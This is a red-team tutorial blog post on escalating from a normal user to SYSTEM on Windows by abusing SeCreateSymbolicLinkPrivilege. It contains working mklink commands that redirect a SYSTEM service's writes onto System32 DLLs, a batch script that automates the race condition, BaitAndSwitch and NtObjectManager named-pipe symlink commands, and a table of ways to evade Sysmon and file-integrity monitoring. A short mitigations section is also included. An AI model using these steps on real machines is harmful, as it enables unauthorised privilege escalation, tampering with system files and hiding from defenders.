windows

SeCreateSymbolicLinkPrivilege: Symlink Attack on Windows from Shell

SeCreateSymbolicLinkPrivilege: Symlink Attack on Windows from Shell

From simple user to SYSTEM by replacing system files with a symlink: what you can do with SeCreateSymbolicLinkPrivilege and mklink. Privilege escalation and the Red Team technique.

  • Posted on 2026-06-09
  • Reading time: 4 min

You have SeCreateSymbolicLinkPrivilege and there's a SYSTEM service writing to a path you control. Replace that path with a symlink to a system file—the SYSTEM service overwrites your target unintentionally. No tools to load, just mklink.


Quick Exploit #

cmd
del C:\temp\output.log
mklink C:\temp\output.log C:\Windows\System32\oci.dll

Wait for the SYSTEM service to write to C:\temp\output.log — overwrites oci.dll with your content.


Attack Chain #

text
SeCreateSymbolicLinkPrivilege Enabled
  → Process Monitor → filtra WriteFile + SYSTEM + path controllato
  → identifica servizio/task che scrive in C:\temp\
  → del C:\temp\output.log
  → mklink C:\temp\output.log C:\Windows\System32\target.dll
  → aspetta prossima scrittura del servizio → DLL/binary sovrascritta
  → sc stop/start NomeServizio → SYSTEM

Tool Decision #

ScreenwritingApproach
Slow race condition (installer)mklink manual in the time window
Fast race conditionBaitAndSwitch.exe -target C:\temp\file.txt -dest C:\Windows\System32\oci.dll
Named pipe redirectNtObjectManager PowerShell — New-NtSymbolicLink "\RPC Control\PipeTarget" ...

What is SeCreateSymbolicLinkPrivilege? #

Without this privilege a normal user can only create directory junctions (mklink /J) but not file-level symlinks. With the privilege, you create symlinks to any target—including protected system files. The attack vector depends on an external condition: a privileged service writing to a path you control.

Note: On Windows 10 1703+ with Developer Mode enabled, anyone can create symlinks without privileges. This is rare on servers, but worth checking.


When it exists #

  • Administrators (high token)
  • Developers with permissive policies on development machines
  • WSL, Hyper-V, Docker Components — require symlinks for mount operations

Verify:

cmd
whoami /priv

Looking for:

text
SeCreateSymbolicLinkPrivilege    Create symbolic links    Enabled

Check Developer Mode:

powershell
Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\AppModelUnlock" | Select-Object AllowDevelopmentWithoutDevLicense

TypeCommandPrivilege requested
Symlink filemklink target source✅ Yes
Symlink Directorymklink /D target source✅ Yes
Junctionmklink /J target source❌ No
Hard linkmklink /H target source❌ No

The privilege specifically unlocks symlink files — the primary attack vector.


Step 1 — Identify a SYSTEM service that writes to controlled paths #

Usa Process Monitor (Sysinternals): Open procmon, apply filters Operation is WriteFile e User is SYSTEM, then look at the paths it writes to. Look for paths that your account has write permissions to or that don't yet exist.

Alternatively, look for scheduled tasks that write to temporary paths:

cmd
schtasks /query /fo LIST /v | findstr /i "SYSTEM\|Task To Run\|Run As User"

The service typically performs the following: check if the file exists → write to the file. In the window between the check and the write, replace the file with a symlink.

Remove the original file:

cmd
del C:\temp\output.log

Creates symlink to target system file:

cmd
mklink C:\temp\output.log C:\Windows\System32\oci.dll

The service writes on C:\temp\output.log → overwrites oci.dll with your content.


Step 3 — Race Condition Automation #

For narrow time windows, use a script that monitors and acts:

Create the file C:\temp\race.bat with this content:

batch
:loop
if exist C:\temp\output.log (
    del C:\temp\output.log
    mklink C:\temp\output.log C:\Windows\System32\oci.dll
    echo [*] Symlink piazzato
    goto done
)
goto loop
:done

Do:

cmd
C:\temp\race.bat

For more precise timing use BaitAndSwitch :

cmd
BaitAndSwitch.exe -target C:\temp\writable.txt -dest C:\Windows\System32\oci.dll

variants #

With NtObjectManager (James Forshaw) you can create symlinks in the kernel namespace to redirect named pipes to your own pipe — a variant of Potato attacks for scenarios where SeImpersonatePrivilege is not available.

Install the module:

powershell
Install-Module NtObjectManager
Import-Module NtObjectManager

Create the directory in the namespace and the symlink:

powershell
$dir = New-NtDirectory \RPC Control -Win32Path
New-NtSymbolicLink "\RPC Control\PipeTarget" "\Device\NamedPipe\AttackerPipe" -Directory $dir

Then start a listener on your named pipe and wait for the privileged process to connect.

Source: googleprojectzero/sandbox-attacksurface-analysis-tools


Real-world scenarios #

Privileged software installer — many MSIs extract files to C:\temp\ as SYSTEM before copying them to the final destination. If you manage to place a symlink in the correct window, the installer copies your DLL/binary to the final location with elevated permissions.

Scheduled task that writes logs — a scheduled task like SYSTEM writes log in C:\temp\tasklog.txtSymlink to a DLL file looked up by a service → overwrite at next task execution.


Common mistakes #

The service uses FILE_FLAG_OPEN_REPARSE_POINT — Opens the symlink itself, not the target. In Process Monitor, see REPARSE in the Result field instead of the resolved path. That service doesn't follow symlinks — it looks for another target.

Race condition too tight for manual timing — Use BaitAndSwitch to automate: BaitAndSwitch.exe -target C:\temp\file.txt -dest C:\Windows\System32\oci.dll.

No SYSTEM service writes to controlled paths — The vector is not viable in that environment. Check with Process Monitor first: filter Operation=WriteFile, User=SYSTEM, Path contains C:\temp or other writable paths.

Developer Mode not available, privilege missing — Developer Mode is almost never enabled on servers. Check with Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\AppModelUnlock" | Select-Object AllowDevelopmentWithoutDevLicense.


Detection and bypass (Red Team view) #

What the Blue Team detectsHow the Red Team bypasses it
Sysmon 23 (FileDelete) + 11 (FileCreate) on the same path — pattern TOCTOUUse a different path for each attempt or increase the delay between delete and mklink
Creating a symlink to System32Point to less monitored paths — DLLs in services directories instead of System32
FIM to temporary output directoryUse less common staging paths: C:\Users\Public\, C:\ProgramData\Temp\

When it fails #

  • The service uses FILE_FLAG_OPEN_REPARSE_POINT → does not follow symlink
  • No SYSTEM service writes to controlled paths → vector not viable
  • Unwinnable race condition → BaitAndSwitch fails even when automated

Mitigations #

  • SYSTEM services should not write to paths accessible to unprivileged users
  • Use FILE_FLAG_OPEN_REPARSE_POINT in services to not follow symlinks automatically
  • Developer Mode enabled only where strictly necessary

Realistic note: This is the most conditional vector of the series—it requires a specific combination of privilege and vulnerable service. In practice, it is used when all other vectors are blocked.


FAQ #

Is this the most complex vector in the series? Yes—it requires an external condition + race condition. Use it as a last resort when SeRestorePrivilege, SeBackupPrivilege, and the others aren't available.

Is Developer Mode common on servers? No—it's workstation functionality. It's rare on servers, but always check with the command above.


SeCreateSymbolicLinkPrivilege is a conditional vector: useless on its own, powerful when there is a SYSTEM service that writes to paths you control.


Related articles:

References: NtObjectManager · Microsoft Docs

#SeCreateSymbolicLinkPrivilege #symlink attack

leave a message

I'm not a robot